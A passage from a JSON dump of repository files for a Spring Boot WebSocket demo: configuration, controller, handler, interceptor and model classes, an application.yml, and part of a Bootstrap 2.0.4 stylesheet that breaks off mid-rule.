    "content": "package com.xncoding.jwt.config;\n\nimport com.xncoding.jwt.handler.SocketHandler;\nimport com.xncoding.jwt.interceptor.WebSocketInterceptor;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.web.socket.config.annotation.EnableWebSocket;\nimport org.springframework.web.socket.config.annotation.WebSocketConfigurer;\nimport org.springframework.web.socket.config.annotation.WebSocketHandlerRegistry;\n\n/**\n * WebSocketConfig\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/3/22\n */\n@Configuration\n@EnableWebSocket\npublic class WebSocketConfig implements WebSocketConfigurer {\n    public void registerWebSocketHandlers(WebSocketHandlerRegistry registry) {\n        registry.addHandler(new SocketHandler(), \"/app\")\n                .addInterceptors(new WebSocketInterceptor())\n                .setAllowedOrigins(\"*\");\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_websocket/src/main/java/com/xncoding/jwt/config/WebSocketStompConfig.java",
    "content": "package com.xncoding.jwt.config;\n\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.messaging.simp.config.MessageBrokerRegistry;\nimport org.springframework.web.socket.config.annotation.AbstractWebSocketMessageBrokerConfigurer;\nimport org.springframework.web.socket.config.annotation.EnableWebSocketMessageBroker;\nimport org.springframework.web.socket.config.annotation.StompEndpointRegistry;\n\n/**\n * STOMP协议的WebStocket\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/28\n */\n@Configuration\n@EnableWebSocketMessageBroker\npublic class WebSocketStompConfig extends AbstractWebSocketMessageBrokerConfigurer {\n\n    @Override\n    public void registerStompEndpoints(StompEndpointRegistry stompEndpointRegistry) {\n        stompEndpointRegistry.addEndpoint(\"/simple\")\n                .setAllowedOrigins(\"*\") //解决跨域问题\n                .withSockJS();\n    }\n\n    @Override\n    public void configureMessageBroker(MessageBrokerRegistry registry) {\n        registry.enableSimpleBroker(\"/topic\");\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_websocket/src/main/java/com/xncoding/jwt/controller/WsController.java",
    "content": "package com.xncoding.jwt.controller;\n\nimport com.xncoding.jwt.model.RequestMessage;\nimport com.xncoding.jwt.model.ResponseMessage;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.messaging.handler.annotation.MessageMapping;\nimport org.springframework.messaging.handler.annotation.SendTo;\nimport org.springframework.messaging.simp.SimpMessagingTemplate;\nimport org.springframework.scheduling.annotation.Scheduled;\nimport org.springframework.stereotype.Controller;\n\nimport java.text.DateFormat;\nimport java.text.SimpleDateFormat;\nimport java.util.Date;\n\n/**\n * WsController\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/28\n */\n@Controller\npublic class WsController {\n\n    private final SimpMessagingTemplate messagingTemplate;\n\n    @Autowired\n    public WsController(SimpMessagingTemplate messagingTemplate) {\n        this.messagingTemplate = messagingTemplate;\n    }\n\n    @MessageMapping(\"/welcome\")\n    @SendTo(\"/topic/say\")\n    public ResponseMessage say(RequestMessage message) {\n        System.out.println(message.getName());\n        return new ResponseMessage(\"welcome,\" + message.getName() + \" !\");\n    }\n\n    /**\n     * 定时推送消息\n     */\n    @Scheduled(fixedRate = 1000)\n    public void callback() {\n        // 发现消息\n        DateFormat df = new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\");\n        messagingTemplate.convertAndSend(\"/topic/callback\", \"定时推送消息时间: \" + df.format(new Date()));\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_websocket/src/main/java/com/xncoding/jwt/handler/SocketHandler.java",
    "content": "package com.xncoding.jwt.handler;\n\nimport com.fasterxml.jackson.core.type.TypeReference;\nimport com.xncoding.jwt.commons.JacksonUtil;\nimport com.xncoding.jwt.model.WsParam;\nimport com.xncoding.jwt.model.WsResponse;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.stereotype.Component;\nimport org.springframework.web.socket.CloseStatus;\nimport org.springframework.web.socket.TextMessage;\nimport org.springframework.web.socket.WebSocketSession;\nimport org.springframework.web.socket.handler.TextWebSocketHandler;\n\nimport java.io.IOException;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.concurrent.CopyOnWriteArrayList;\n\n/**\n * SocketHandler\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/3/22\n */\n@Component\npublic class SocketHandler extends TextWebSocketHandler {\n\n    private Logger logger = LoggerFactory.getLogger(this.getClass());\n\n    List<WebSocketSession> sessions = new CopyOnWriteArrayList<>();\n\n    @Override\n    public void handleTextMessage(WebSocketSession session, TextMessage message) throws Exception {\n        logger.info(\"handleTextMessage start\");\n        // 将消息进行转化，因为是消息是json数据，可能里面包含了发送给某个人的信息，所以需要用json相关的工具类处理之后再封装成TextMessage，\n        // 我这儿并没有做处理，消息的封装格式一般有{from:xxxx,to:xxxxx,msg:xxxxx}，来自哪里，发送给谁，什么消息等等\n        String msg = message.getPayload();\n        logger.info(\"msg = \" + msg);\n        WsParam<String> wsParam = JacksonUtil.json2Bean(msg, new TypeReference<WsParam<String>>(){});\n        if (\"list\".equals(wsParam.getMethod())) {\n            logger.info(\"call list method...\");\n            WsResponse<String> response = new WsResponse<>();\n            response.setResult(\"hello list\");\n            sendMessageToUser(session, new TextMessage(JacksonUtil.bean2Json(response)));\n        }\n        logger.info(\"handleTextMessage end\");\n        // 给所有用户群发消息\n        //sendMessagesToUsers(msg);\n        // 给指定用户群发消息\n        //sendMessageToUser(userId, msg);\n    }\n\n\n\n    @Override\n    public void afterConnectionEstablished(WebSocketSession session) throws Exception {\n        logger.info(\"Connected ... \" + session.getId());\n        sessions.add(session);\n    }\n\n    @Override\n    public void afterConnectionClosed(WebSocketSession session, CloseStatus status) throws Exception {\n        if (session.isOpen()) {\n            session.close();\n        }\n        sessions.remove(session);\n        logger.info(String.format(\"Session %s closed because of %s\", session.getId(), status.getReason()));\n    }\n\n    @Override\n    public void handleTransportError(WebSocketSession session, Throwable throwable) throws Exception {\n        logger.error(\"error occured at sender \" + session, throwable);\n    }\n\n    /**\n     * 给所有的用户发送消息\n     */\n    public void sendMessagesToUsers(TextMessage message) {\n        for (WebSocketSession user : sessions) {\n            try {\n                // isOpen()在线就发送\n                if (user.isOpen()) {\n                    user.sendMessage(message);\n                }\n            } catch (IOException e) {\n                e.printStackTrace();\n            }\n        }\n    }\n\n    /**\n     * 发送消息给指定的用户\n     */\n    private void sendMessageToUser(WebSocketSession user, TextMessage message) {\n        try {\n            // 在线就发送\n            if (user.isOpen()) {\n                user.sendMessage(message);\n            }\n        } catch (IOException e) {\n           logger.error(\"发送消息给指定的用户出错\", e);\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_websocket/src/main/java/com/xncoding/jwt/interceptor/WebSocketInterceptor.java",
    "content": "package com.xncoding.jwt.interceptor;\n\nimport javax.servlet.http.HttpServletRequest;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.http.server.ServerHttpRequest;\nimport org.springframework.http.server.ServerHttpResponse;\nimport org.springframework.http.server.ServletServerHttpRequest;\nimport org.springframework.web.socket.WebSocketHandler;\nimport org.springframework.web.socket.server.HandshakeInterceptor;\n\nimport java.util.Map;\n\n/**\n * WebSocketInterceptor\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/3/22\n */\npublic class WebSocketInterceptor implements HandshakeInterceptor {\n    private Logger logger = LoggerFactory.getLogger(this.getClass());\n    @Override\n    public boolean beforeHandshake(ServerHttpRequest request, ServerHttpResponse arg1,\n                                   WebSocketHandler arg2, Map<String, Object> arg3) throws Exception {\n        // 将ServerHttpRequest转换成request请求相关的类，用来获取request域中的用户信息\n        if (request instanceof ServletServerHttpRequest) {\n            ServletServerHttpRequest servletRequest = (ServletServerHttpRequest) request;\n            HttpServletRequest httpRequest = servletRequest.getServletRequest();\n        }\n        logger.info(\"beforeHandshake完成\");\n        return true;\n    }\n\n    @Override\n    public void afterHandshake(ServerHttpRequest arg0, ServerHttpResponse arg1, WebSocketHandler arg2, Exception arg3) {\n        logger.info(\"afterHandshake完成\");\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_websocket/src/main/java/com/xncoding/jwt/model/RequestMessage.java",
    "content": "package com.xncoding.jwt.model;\n\n/**\n * RequestMessage\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/28\n */\npublic class RequestMessage {\n    private String name;\n\n    public String getName() {\n        return name;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_websocket/src/main/java/com/xncoding/jwt/model/ResponseMessage.java",
    "content": "package com.xncoding.jwt.model;\n\n/**\n * ResponseMessage\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/28\n */\npublic class ResponseMessage {\n    private String responseMessage;\n\n    public ResponseMessage(String responseMessage) {\n        this.responseMessage = responseMessage;\n    }\n\n    public String getResponseMessage() {\n        return responseMessage;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_websocket/src/main/java/com/xncoding/jwt/model/WsParam.java",
    "content": "package com.xncoding.jwt.model;\n\n/**\n * WsParam\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/3/22\n */\npublic class WsParam<T> {\n    private String method;\n    private T param;\n\n    public String getMethod() {\n        return method;\n    }\n\n    public void setMethod(String method) {\n        this.method = method;\n    }\n\n    public T getParam() {\n        return param;\n    }\n\n    public void setParam(T param) {\n        this.param = param;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_websocket/src/main/java/com/xncoding/jwt/model/WsResponse.java",
    "content": "package com.xncoding.jwt.model;\n\n/**\n * WsResponse\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/3/22\n */\npublic class WsResponse<T> {\n    private T result;\n\n    public T getResult() {\n        return result;\n    }\n\n    public void setResult(T result) {\n        this.result = result;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_websocket/src/main/resources/application.yml",
    "content": "##########################################################\n##################  所有profile共有的配置  #################\n##########################################################\n\n\n###################  spring配置  ###################\nspring:\n  profiles:\n    active: dev\n\nserver:\n  port: 8092\n\n---\n\n#####################################################################\n########################  开发环境profile  ##########################\n#####################################################################\nspring:\n  profiles: dev\n\nlogging:\n  level:\n    ROOT: INFO\n    com:\n      xncoding: DEBUG\n  file: D:/logs/app.log\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_websocket/src/test/java/com/xncoding/jwt/socket/client/html/bootstrap.css",
    "content": "/*!\n * Bootstrap v2.0.4\n *\n * Copyright 2012 Twitter, Inc\n * Licensed under the Apache License v2.0\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Designed and built with all the love in the world @twitter by @mdo and @fat.\n */\n\narticle,\naside,\ndetails,\nfigcaption,\nfigure,\nfooter,\nheader,\nhgroup,\nnav,\nsection {\n  display: block;\n}\n\naudio,\ncanvas,\nvideo {\n  display: inline-block;\n  *display: inline;\n  *zoom: 1;\n}\n\naudio:not([controls]) {\n  display: none;\n}\n\nhtml {\n  font-size: 100%;\n  -webkit-text-size-adjust: 100%;\n      -ms-text-size-adjust: 100%;\n}\n\na:focus {\n  outline: thin dotted #333;\n  outline: 5px auto -webkit-focus-ring-color;\n  outline-offset: -2px;\n}\n\na:hover,\na:active {\n  outline: 0;\n}\n\nsub,\nsup {\n  position: relative;\n  font-size: 75%;\n  line-height: 0;\n  vertical-align: baseline;\n}\n\nsup {\n  top: -0.5em;\n}\n\nsub {\n  bottom: -0.25em;\n}\n\nimg {\n  max-width: 100%;\n  vertical-align: middle;\n  border: 0;\n  -ms-interpolation-mode: bicubic;\n}\n\n#map_canvas img {\n  max-width: none;\n}\n\nbutton,\ninput,\nselect,\ntextarea {\n  margin: 0;\n  font-size: 100%;\n  vertical-align: middle;\n}\n\nbutton,\ninput {\n  *overflow: visible;\n  line-height: normal;\n}\n\nbutton::-moz-focus-inner,\ninput::-moz-focus-inner {\n  padding: 0;\n  border: 0;\n}\n\nbutton,\ninput[type=\"button\"],\ninput[type=\"reset\"],\ninput[type=\"submit\"] {\n  cursor: pointer;\n  -webkit-appearance: button;\n}\n\ninput[type=\"search\"] {\n  -webkit-box-sizing: content-box;\n     -moz-box-sizing: content-box;\n          box-sizing: content-box;\n  -webkit-appearance: textfield;\n}\n\ninput[type=\"search\"]::-webkit-search-decoration,\ninput[type=\"search\"]::-webkit-search-cancel-button {\n  -webkit-appearance: none;\n}\n\ntextarea {\n  overflow: auto;\n  vertical-align: top;\n}\n\n.clearfix {\n  *zoom: 1;\n}\n\n.clearfix:before,\n.clearfix:after {\n  display: table;\n  content: \"\";\n}\n\n.clearfix:after {\n  clear: both;\n}\n\n.hide-text {\n  font: 0/0 a;\n  color: transparent;\n  text-shadow: none;\n  background-color: transparent;\n  border: 0;\n}\n\n.input-block-level {\n  display: block;\n  width: 100%;\n  min-height: 28px;\n  -webkit-box-sizing: border-box;\n     -moz-box-sizing: border-box;\n      -ms-box-sizing: border-box;\n          box-sizing: border-box;\n}\n\nbody {\n  margin: 0;\n  font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n  font-size: 13px;\n  line-height: 18px;\n  color: #333333;\n  background-color: #ffffff;\n}\n\na {\n  color: #0088cc;\n  text-decoration: none;\n}\n\na:hover {\n  color: #005580;\n  text-decoration: underline;\n}\n\n.row {\n  margin-left: -20px;\n  *zoom: 1;\n}\n\n.row:before,\n.row:after {\n  display: table;\n  content: \"\";\n}\n\n.row:after {\n  clear: both;\n}\n\n[class*=\"span\"] {\n  float: left;\n  margin-left: 20px;\n}\n\n.container,\n.navbar-fixed-top .container,\n.navbar-fixed-bottom .container {\n  width: 940px;\n}\n\n.span12 {\n  width: 940px;\n}\n\n.span11 {\n  width: 860px;\n}\n\n.span10 {\n  width: 780px;\n}\n\n.span9 {\n  width: 700px;\n}\n\n.span8 {\n  width: 620px;\n}\n\n.span7 {\n  width: 540px;\n}\n\n.span6 {\n  width: 460px;\n}\n\n.span5 {\n  width: 380px;\n}\n\n.span4 {\n  width: 300px;\n}\n\n.span3 {\n  width: 220px;\n}\n\n.span2 {\n  width: 140px;\n}\n\n.span1 {\n  width: 60px;\n}\n\n.offset12 {\n  margin-left: 980px;\n}\n\n.offset11 {\n  margin-left: 900px;\n}\n\n.offset10 {\n  margin-left: 820px;\n}\n\n.offset9 {\n  margin-left: 740px;\n}\n\n.offset8 {\n  margin-left: 660px;\n}\n\n.offset7 {\n  margin-left: 580px;\n}\n\n.offset6 {\n  margin-left: 500px;\n}\n\n.offset5 {\n  margin-left: 420px;\n}\n\n.offset4 {\n  margin-left: 340px;\n}\n\n.offset3 {\n  margin-left: 260px;\n}\n\n.offset2 {\n  margin-left: 180px;\n}\n\n.offset1 {\n  margin-left: 100px;\n}\n\n.row-fluid {\n  width: 100%;\n  *zoom: 1;\n}\n\n.row-fluid:before,\n.row-fluid:after {\n  display: table;\n  content: \"\";\n}\n\n.row-fluid:after {\n  clear: both;\n}\n\n.row-fluid [class*=\"span\"] {\n  display: block;\n  float: left;\n  width: 100%;\n  min-height: 28px;\n  margin-left: 2.127659574%;\n  *margin-left: 2.0744680846382977%;\n  -webkit-box-sizing: border-box;\n     -moz-box-sizing: border-box;\n      -ms-box-sizing: border-box;\n          box-sizing: border-box;\n}\n\n.row-fluid [class*=\"span\"]:first-child {\n  margin-left: 0;\n}\n\n.row-fluid .span12 {\n  width: 99.99999998999999%;\n  *width: 99.94680850063828%;\n}\n\n.row-fluid .span11 {\n  width: 91.489361693%;\n  *width: 91.4361702036383%;\n}\n\n.row-fluid .span10 {\n  width: 82.97872339599999%;\n  *width: 82.92553190663828%;\n}\n\n.row-fluid .span9 {\n  width: 74.468085099%;\n  *width: 74.4148936096383%;\n}\n\n.row-fluid .span8 {\n  width: 65.95744680199999%;\n  *width: 65.90425531263828%;\n}\n\n.row-fluid .span7 {\n  width: 57.446808505%;\n  *width: 57.3936170156383%;\n}\n\n.row-fluid .span6 {\n  width: 48.93617020799999%;\n  *width: 48.88297871863829%;\n}\n\n.row-fluid .span5 {\n  width: 40.425531911%;\n  *width: 40.3723404216383%;\n}\n\n.row-fluid .span4 {\n  width: 31.914893614%;\n  *width: 31.8617021246383%;\n}\n\n.row-fluid .span3 {\n  width: 23.404255317%;\n  *width: 23.3510638276383%;\n}\n\n.row-fluid .span2 {\n  width: 14.89361702%;\n  *width: 14.8404255306383%;\n}\n\n.row-fluid .span1 {\n  width: 6.382978723%;\n  *width: 6.329787233638298%;\n}\n\n.container {\n  margin-right: auto;\n  margin-left: auto;\n  *zoom: 1;\n}\n\n.container:before,\n.container:after {\n  display: table;\n  content: \"\";\n}\n\n.container:after {\n  clear: both;\n}\n\n.container-fluid {\n  padding-right: 20px;\n  padding-left: 20px;\n  *zoom: 1;\n}\n\n.container-fluid:before,\n.container-fluid:after {\n  display: table;\n  content: \"\";\n}\n\n.container-fluid:after {\n  clear: both;\n}\n\np {\n  margin: 0 0 9px;\n}\n\np small {\n  font-size: 11px;\n  color: #999999;\n}\n\n.lead {\n  margin-bottom: 18px;\n  font-size: 20px;\n  font-weight: 200;\n  line-height: 27px;\n}\n\nh1,\nh2,\nh3,\nh4,\nh5,\nh6 {\n  margin: 0;\n  font-family: inherit;\n  font-weight: bold;\n  color: inherit;\n  text-rendering: optimizelegibility;\n}\n\nh1 small,\nh2 small,\nh3 small,\nh4 small,\nh5 small,\nh6 small {\n  font-weight: normal;\n  color: #999999;\n}\n\nh1 {\n  font-size: 30px;\n  line-height: 36px;\n}\n\nh1 small {\n  font-size: 18px;\n}\n\nh2 {\n  font-size: 24px;\n  line-height: 36px;\n}\n\nh2 small {\n  font-size: 18px;\n}\n\nh3 {\n  font-size: 18px;\n  line-height: 27px;\n}\n\nh3 small {\n  font-size: 14px;\n}\n\nh4,\nh5,\nh6 {\n  line-height: 18px;\n}\n\nh4 {\n  font-size: 14px;\n}\n\nh4 small {\n  font-size: 12px;\n}\n\nh5 {\n  font-size: 12px;\n}\n\nh6 {\n  font-size: 11px;\n  color: #999999;\n  text-transform: uppercase;\n}\n\n.page-header {\n  padding-bottom: 17px;\n  margin: 18px 0;\n  border-bottom: 1px solid #eeeeee;\n}\n\n.page-header h1 {\n  line-height: 1;\n}\n\nul,\nol {\n  padding: 0;\n  margin: 0 0 9px 25px;\n}\n\nul ul,\nul ol,\nol ol,\nol ul {\n  margin-bottom: 0;\n}\n\nul {\n  list-style: disc;\n}\n\nol {\n  list-style: decimal;\n}\n\nli {\n  line-height: 18px;\n}\n\nul.unstyled,\nol.unstyled {\n  margin-left: 0;\n  list-style: none;\n}\n\ndl {\n  margin-bottom: 18px;\n}\n\ndt,\ndd {\n  line-height: 18px;\n}\n\ndt {\n  font-weight: bold;\n  line-height: 17px;\n}\n\ndd {\n  margin-left: 9px;\n}\n\n.dl-horizontal dt {\n  float: left;\n  width: 120px;\n  overflow: hidden;\n  clear: left;\n  text-align: right;\n  text-overflow: ellipsis;\n  white-space: nowrap;\n}\n\n.dl-horizontal dd {\n  margin-left: 130px;\n}\n\nhr {\n  margin: 18px 0;\n  border: 0;\n  border-top: 1px solid #eeeeee;\n  border-bottom: 1px solid #ffffff;\n}\n\nstrong {\n  font-weight: bold;\n}\n\nem {\n  font-style: italic;\n}\n\n.muted {\n  color: #999999;\n}\n\nabbr[title] {\n  cursor: help;\n  border-bottom: 1px dotted #999999;\n}\n\nabbr.initialism {\n  font-size: 90%;\n  text-transform: uppercase;\n}\n\nblockquote {\n  padding: 0 0 0 15px;\n  margin: 0 0 18px;\n  border-left: 5px solid #eeeeee;\n}\n\nblockquote p {\n  margin-bottom: 0;\n  font-size: 16px;\n  font-weight: 300;\n  line-height: 22.5px;\n}\n\nblockquote small {\n  display: block;\n  line-height: 18px;\n  color: #999999;\n}\n\nblockquote small:before {\n  content: '\\2014 \\00A0';\n}\n\nblockquote.pull-right {\n  float: right;\n  padding-right: 15px;\n  padding-left: 0;\n  border-right: 5px solid #eeeeee;\n  border-left: 0;\n}\n\nblockquote.pull-right p,\nblockquote.pull-right small {\n  text-align: right;\n}\n\nq:before,\nq:after,\nblockquote:before,\nblockquote:after {\n  content: \"\";\n}\n\naddress {\n  display: block;\n  margin-bottom: 18px;\n  font-style: normal;\n  line-height: 18px;\n}\n\nsmall {\n  font-size: 100%;\n}\n\ncite {\n  font-style: normal;\n}\n\ncode,\npre {\n  padding: 0 3px 2px;\n  font-family: Menlo, Monaco, Consolas, \"Courier New\", monospace;\n  font-size: 12px;\n  color: #333333;\n  -webkit-border-radius: 3px;\n     -moz-border-radius: 3px;\n          border-radius: 3px;\n}\n\ncode {\n  padding: 2px 4px;\n  color: #d14;\n  background-color: #f7f7f9;\n  border: 1px solid #e1e1e8;\n}\n\npre {\n  display: block;\n  padding: 8.5px;\n  margin: 0 0 9px;\n  font-size: 12.025px;\n  line-height: 18px;\n  word-break: break-all;\n  word-wrap: break-word;\n  white-space: pre;\n  white-space: pre-wrap;\n  background-color: #f5f5f5;\n  border: 1px solid #ccc;\n  border: 1px solid rgba(0, 0, 0, 0.15);\n  -webkit-border-radius: 4px;\n     -moz-border-radius: 4px;\n          border-radius: 4px;\n}\n\npre.prettyprint {\n  margin-bottom: 18px;\n}\n\npre code {\n  padding: 0;\n  color: inherit;\n  background-color: transparent;\n  border: 0;\n}\n\n.pre-scrollable {\n  max-height: 340px;\n  overflow-y: scroll;\n}\n\nform {\n  margin: 0 0 18px;\n}\n\nfieldset {\n  padding: 0;\n  margin: 0;\n  border: 0;\n}\n\nlegend {\n  display: block;\n  width: 100%;\n  padding: 0;\n  margin-bottom: 27px;\n  font-size: 19.5px;\n  line-height: 36px;\n  color: #333333;\n  border: 0;\n  border-bottom: 1px solid #e5e5e5;\n}\n\nlegend small {\n  font-size: 13.5px;\n  color: #999999;\n}\n\nlabel,\ninput,\nbutton,\nselect,\ntextarea {\n  font-size: 13px;\n  font-weight: normal;\n  line-height: 18px;\n}\n\ninput,\nbutton,\nselect,\ntextarea {\n  font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n}\n\nlabel {\n  display: block;\n  margin-bottom: 5px;\n}\n\nselect,\ntextarea,\ninput[type=\"text\"],\ninput[type=\"password\"],\ninput[type=\"datetime\"],\ninput[type=\"datetime-local\"],\ninput[type=\"date\"],\ninput[type=\"month\"],\ninput[type=\"time\"],\ninput[type=\"week\"],\ninput[type=\"number\"],\ninput[type=\"email\"],\ninput[type=\"url\"],\ninput[type=\"search\"],\ninput[type=\"tel\"],\ninput[type=\"color\"],\n.uneditable-input {\n  display: inline-block;\n  height: 18px;\n  padding: 4px;\n  margin-bottom: 9px;\n  font-size: 13px;\n  line-height: 18px;\n  color: #555555;\n}\n\ninput,\ntextarea {\n  width: 210px;\n}\n\ntextarea {\n  height: auto;\n}\n\ntextarea,\ninput[type=\"text\"],\ninput[type=\"password\"],\ninput[type=\"datetime\"],\ninput[type=\"datetime-local\"],\ninput[type=\"date\"],\ninput[type=\"month\"],\ninput[type=\"time\"],\ninput[type=\"week\"],\ninput[type=\"number\"],\ninput[type=\"email\"],\ninput[type=\"url\"],\ninput[type=\"search\"],\ninput[type=\"tel\"],\ninput[type=\"color\"],\n.uneditable-input {\n  background-color: #ffffff;\n  border: 1px solid #cccccc;\n  -webkit-border-radius: 3px;\n     -moz-border-radius: 3px;\n          border-radius: 3px;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n     -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n  -webkit-transition: border linear 0.2s, box-shadow linear 0.2s;\n     -moz-transition: border linear 0.2s, box-shadow linear 0.2s;\n      -ms-transition: border linear 0.2s, box-shadow linear 0.2s;\n       -o-transition: border linear 0.2s, box-shadow linear 0.2s;\n          transition: border linear 0.2s, box-shadow linear 0.2s;\n}\n\ntextarea:focus,\ninput[type=\"text\"]:focus,\ninput[type=\"password\"]:focus,\ninput[type=\"datetime\"]:focus,\ninput[type=\"datetime-local\"]:focus,\ninput[type=\"date\"]:focus,\ninput[type=\"month\"]:focus,\ninput[type=\"time\"]:focus,\ninput[type=\"week\"]:focus,\ninput[type=\"number\"]:focus,\ninput[type=\"email\"]:focus,\ninput[type=\"url\"]:focus,\ninput[type=\"search\"]:focus,\ninput[type=\"tel\"]:focus,\ninput[type=\"color\"]:focus,\n.uneditable-input:focus {\n  border-color: rgba(82, 168, 236, 0.8);\n  outline: 0;\n  outline: thin dotted \\9;\n  /* IE6-9 */\n\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6);\n     -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6);\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6);\n}\n\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n  margin: 3px 0;\n  *margin-top: 0;\n  /* IE7 */\n\n  line-height: normal;\n  cursor: pointer;\n}\n\ninput[type=\"submit\"],\ninput[type=\"reset\"],\ninput[type=\"button\"],\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n  width: auto;\n}\n\n.uneditable-textarea {\n  width: auto;\n  height: auto;\n}\n\nselect,\ninput[type=\"file\"] {\n  height: 28px;\n  /* In IE7, the height of the select element cannot be changed by height, only font-size */\n\n  *margin-top: 4px;\n  /* For IE7, add top margin to align select with labels */\n\n  line-height: 28px;\n}\n\nselect {\n  width: 220px;\n  border: 1px solid #bbb;\n}\n\nselect[multiple],\nselect[size] {\n  height: auto;\n}\n\nselect:focus,\ninput[type=\"file\"]:focus,\ninput[type=\"radio\"]:focus,\ninput[type=\"checkbox\"]:focus {\n  outline: thin dotted #333;\n  outline: 5px auto -webkit-focus-ring-color;\n  outline-offset: -2px;\n}\n\n.radio,\n.checkbox {\n  min-height: 18px;\n  padding-left: 18px;\n}\n\n.radio input[type=\"radio\"],\n.checkbox input[type=\"checkbox\"] {\n  float: left;\n  margin-left: -18px;\n}\n\n.controls > .radio:first-child,\n.controls > .checkbox:first-child {\n  padding-top: 5px;\n}\n\n.radio.inline,\n.checkbox.inline {\n  display: inline-block;\n  padding-top: 5px;\n  margin-bottom: 0;\n  vertical-align: middle;\n}\n\n.radio.inline + .radio.inline,\n.checkbox.inline + .checkbox.inline {\n  margin-left: 10px;\n}\n\n.input-mini {\n  width: 60px;\n}\n\n.input-small {\n  width: 90px;\n}\n\n.input-medium {\n  width: 150px;\n}\n\n.input-large {\n  width: 210px;\n}\n\n.input-xlarge {\n  width: 270px;\n}\n\n.input-xxlarge {\n  width: 530px;\n}\n\ninput[class*=\"span\"],\nselect[class*=\"span\"],\ntextarea[class*=\"span\"],\n.uneditable-input[class*=\"span\"],\n.row-fluid input[class*=\"span\"],\n.row-fluid select[class*=\"span\"],\n.row-fluid textarea[class*=\"span\"],\n.row-fluid .uneditable-input[class*=\"span\"] {\n  float: none;\n  margin-left: 0;\n}\n\n.input-append input[class*=\"span\"],\n.input-append .uneditable-input[class*=\"span\"],\n.input-prepend input[class*=\"span\"],\n.input-prepend .uneditable-input[class*=\"span\"],\n.row-fluid .input-prepend [class*=\"span\"],\n.row-fluid .input-append [class*=\"span\"] {\n  display: inline-block;\n}\n\ninput,\ntextarea,\n.uneditable-input {\n  margin-left: 0;\n}\n\ninput.span12,\ntextarea.span12,\n.uneditable-input.span12 {\n  width: 930px;\n}\n\ninput.span11,\ntextarea.span11,\n.uneditable-input.span11 {\n  width: 850px;\n}\n\ninput.span10,\ntextarea.span10,\n.uneditable-input.span10 {\n  width: 770px;\n}\n\ninput.span9,\ntextarea.span9,\n.uneditable-input.span9 {\n  width: 690px;\n}\n\ninput.span8,\ntextarea.span8,\n.uneditable-input.span8 {\n  width: 610px;\n}\n\ninput.span7,\ntextarea.span7,\n.uneditable-input.span7 {\n  width: 530px;\n}\n\ninput.span6,\ntextarea.span6,\n.uneditable-input.span6 {\n  width: 450px;\n}\n\ninput.span5,\ntextarea.span5,\n.uneditable-input.span5 {\n  width: 370px;\n}\n\ninput.span4,\ntextarea.span4,\n.uneditable-input.span4 {\n  width: 290px;\n}\n\ninput.span3,\ntextarea.span3,\n.uneditable-input.span3 {\n  width: 210px;\n}\n\ninput.span2,\ntextarea.span2,\n.uneditable-input.span2 {\n  width: 130px;\n}\n\ninput.span1,\ntextarea.span1,\n.uneditable-input.span1 {\n  width: 50px;\n}\n\ninput[disabled],\nselect[disabled],\ntextarea[disabled],\ninput[readonly],\nselect[readonly],\ntextarea[readonly] {\n  cursor: not-allowed;\n  background-color: #eeeeee;\n  border-color: #ddd;\n}\n\ninput[type=\"radio\"][disabled],\ninput[type=\"checkbox\"][disabled],\ninput[type=\"radio\"][readonly],\ninput[type=\"checkbox\"][readonly] {\n  background-color: transparent;\n}\n\n.control-group.warning > label,\n.control-group.warning .help-block,\n.control-group.warning .help-inline {\n  color: #c09853;\n}\n\n.control-group.warning .checkbox,\n.control-group.warning .radio,\n.control-group.warning input,\n.control-group.warning select,\n.control-group.warning textarea {\n  color: #c09853;\n  border-color: #c09853;\n}\n\n.control-group.warning .checkbox:focus,\n.control-group.warning .radio:focus,\n.control-group.warning input:focus,\n.control-group.warning select:focus,\n.control-group.warning textarea:focus {\n  border-color: #a47e3c;\n  -webkit-box-shadow: 0 0 6px #dbc59e;\n     -moz-box-shadow: 0 0 6px #dbc59e;\n          box-shadow: 0 0 6px #dbc59e;\n}\n\n.control-group.warning .input-prepend .add-on,\n.control-group.warning .input-append .add-on {\n  color: #c09853;\n  background-color: #fcf8e3;\n  border-color: #c09853;\n}\n\n.control-group.error > label,\n.control-group.error 